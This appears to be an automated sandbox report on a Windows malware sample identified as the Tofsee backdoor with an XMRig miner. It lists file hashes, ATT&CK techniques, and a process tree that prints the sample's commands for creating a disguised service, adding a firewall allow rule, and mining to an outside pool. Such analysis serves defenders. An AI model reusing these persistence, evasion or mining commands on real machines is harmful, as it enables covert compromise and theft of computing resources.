Overview

overview

10

Static

static

keevgpgi.exe

windows7_x64

10

keevgpgi.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    13-02-2021 11:30

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General

  • Target

    keevgpgi.exe

  • Size

    11.6MB

  • MD5

    cecab87eece6151682a5dffe04831bb6

  • SHA1

    e3d6a4c3d0f25f63abf5aa5c906da1b681462714

  • SHA256

    27a880b8a04d59fa74e9ca0c7db57718599f1efca0c593739c12cb1fad9040dc

  • SHA512

    1d39a758f9415b493fee4bc0921bfa627d2939d21386a7cd3b9b8f216d75e5025a5f3ff6414b6bfaf2a8acac817cf42a77005677e99ff10094572318a4933ebd

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\keevgpgi.exe
    "C:\Users\Admin\AppData\Local\Temp\keevgpgi.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1052
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\eklwhzpv\
      2⤵
        PID:860
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tkgnedhl.exe" C:\Windows\SysWOW64\eklwhzpv\
        2⤵
          PID:208
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create eklwhzpv binPath= "C:\Windows\SysWOW64\eklwhzpv\tkgnedhl.exe /d\"C:\Users\Admin\AppData\Local\Temp\keevgpgi.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2292
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description eklwhzpv "wifi internet conection"
            2⤵
              PID:3636
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start eklwhzpv
              2⤵
                PID:3836
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2132
              • C:\Windows\SysWOW64\eklwhzpv\tkgnedhl.exe
                C:\Windows\SysWOW64\eklwhzpv\tkgnedhl.exe /d"C:\Users\Admin\AppData\Local\Temp\keevgpgi.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1128
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1232
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool-pay.com:6199 -u 9jNvTpsSutBLodbiiRngN2S4AfM84WJ4Y8zRpo6H4QPBK625huByLqkiCTh5Uog1qHVBr7cyZfbA1GiiPqSsSv83HAiirSf.50000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2488

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Initial Access

              Execution

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Credential Access

              Discovery

              System Information Discovery

              1
              T1082

              Lateral Movement

              Collection

              Exfiltration

              Command and Control

              Impact

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\tkgnedhl.exe
                MD5

                c601f34f73a889b9b49f82306b138258

                SHA1

                bc71adaf507d3a622384d5aecb80c5329411a38c

                SHA256

                312f9ebf2e8e402f312addccf01ace2fb50c53c22f3ffbea609fcaa6435c8eb3

                SHA512

                f71160a01b6de1868de0235877b8a3fa35ef1f802a6c32e977f6de56860c7924513577053acb66cb7bbfe567524e7d7ef18d2057e95349318b64992557d42cea

                Download Submit
              • C:\Windows\SysWOW64\eklwhzpv\tkgnedhl.exe
                MD5

                c601f34f73a889b9b49f82306b138258

                SHA1

                bc71adaf507d3a622384d5aecb80c5329411a38c

                SHA256

                312f9ebf2e8e402f312addccf01ace2fb50c53c22f3ffbea609fcaa6435c8eb3

                SHA512

                f71160a01b6de1868de0235877b8a3fa35ef1f802a6c32e977f6de56860c7924513577053acb66cb7bbfe567524e7d7ef18d2057e95349318b64992557d42cea

                Download Submit
              • memory/208-6-0x0000000000000000-mapping.dmp
                Download
              • memory/860-5-0x0000000000000000-mapping.dmp
                Download
              • memory/1052-3-0x00000000005F0000-0x0000000000603000-memory.dmp
                Filesize

                76KB

                Download
              • memory/1052-4-0x0000000000400000-0x0000000000415000-memory.dmp
                Filesize

                84KB

                Download
              • memory/1052-2-0x0000000000B10000-0x0000000000B11000-memory.dmp
                Filesize

                4KB

                Download
              • memory/1128-15-0x0000000000400000-0x0000000000415000-memory.dmp
                Filesize

                84KB

                Download
              • memory/1128-13-0x0000000000D20000-0x0000000000D21000-memory.dmp
                Filesize

                4KB

                Download
              • memory/1232-16-0x0000000003240000-0x0000000003255000-memory.dmp
                Filesize

                84KB

                Download
              • memory/1232-17-0x0000000003249A6B-mapping.dmp
                Download
              • memory/1232-19-0x0000000005140000-0x000000000534F000-memory.dmp
                Filesize

                2.1MB

                Download
              • memory/1232-20-0x0000000003410000-0x0000000003416000-memory.dmp
                Filesize

                24KB

                Download
              • memory/2132-12-0x0000000000000000-mapping.dmp
                Download
              • memory/2292-8-0x0000000000000000-mapping.dmp
                Download
              • memory/2488-21-0x0000000002FD0000-0x00000000030C1000-memory.dmp
                Filesize

                964KB

                Download
              • memory/2488-23-0x000000000306259C-mapping.dmp
                Download
              • memory/3636-9-0x0000000000000000-mapping.dmp
                Download
              • memory/3836-10-0x0000000000000000-mapping.dmp
                Download